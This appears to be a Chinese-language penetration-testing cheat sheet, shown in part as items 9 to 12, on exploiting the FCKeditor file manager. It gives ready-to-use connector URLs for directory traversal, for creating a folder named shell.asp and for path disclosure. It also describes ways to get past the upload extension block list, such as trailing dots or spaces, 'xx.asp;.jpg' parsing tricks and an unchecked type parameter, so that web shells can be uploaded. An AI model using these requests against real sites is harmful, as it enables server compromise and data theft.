Fckeditor漏洞利用總結

—————————————————————————————————————————————————————————————

9.列目錄漏洞也可助找上傳地址

version 2.4.1 測試通過

修改currentfolder 參數使用 ../../來進入不同的目錄

/browser/default/connectors/aspx/connector.aspx?command=createfolder&type=image&currentfolder=../../..%2f&newfoldername=shell.asp

根據返回的xml 信息可以查看網站所有的目錄。

fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?command=getfoldersandfiles&type=image&currentfolder=%2f

也可以直接瀏覽盤符:

jsp 版本:

fckeditor/editor/filemanager/browser/default/connectors/jsp/connector?command=getfoldersandfiles&type=&currentfolder=%2f

—————————————————————————————————————————————————————————————

10.爆路徑漏洞

fckeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?command=getfoldersandfiles&type=file&currentfolder=/shell.asp

—————————————————————————————————————————————————————————————

11. fckeditor 被動限制策略所導致的過濾不嚴問題

影響版本: fckeditor x.x <= fckeditor v2.4.3

脆弱描述:

fckeditor v2.4.3 中file 類別默認拒絕上傳類型:

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 後綴的檔案上傳後它保存的檔案直接用的$sfilepath = $sserverdir . $sfilename,而沒有使用$sextension 為後綴.直接導致在win 下在上傳檔案後面加個.來突破[未測試]!

而在apache 下,因為"apache 檔案名稱解析缺陷漏洞"也可以利用之,另建議其他上傳漏洞中定義type 變數時使用file 類別來上傳檔案,根據fckeditor 的代碼,其限制最為狹隘。

在上傳時遇見可直接上傳腳本檔案固然很好,但有些版本可能無法直接上傳可以利用在檔案名稱後面加.點或空格繞過,也可以利用XX 解析漏洞建立xxx.asp資料夾或者上傳xx.asp;.jpg!

—————————————————————————————————————————————————————————————

12.最古老的漏洞,type檔案沒有限制!

我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程式對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=image 改成type=hsren 這樣就可以建立一個叫hsren的資料夾,一個新類型,沒有任何限制,可以上傳任意腳本!

—————————————————————————————————————————————————————————————

以上方法都是網上收集和在平時滲透中所總結的經驗,可能有些有遺漏,當再想起的時候再補充,也有自己沒發現的就要靠各位大俠分享學習了!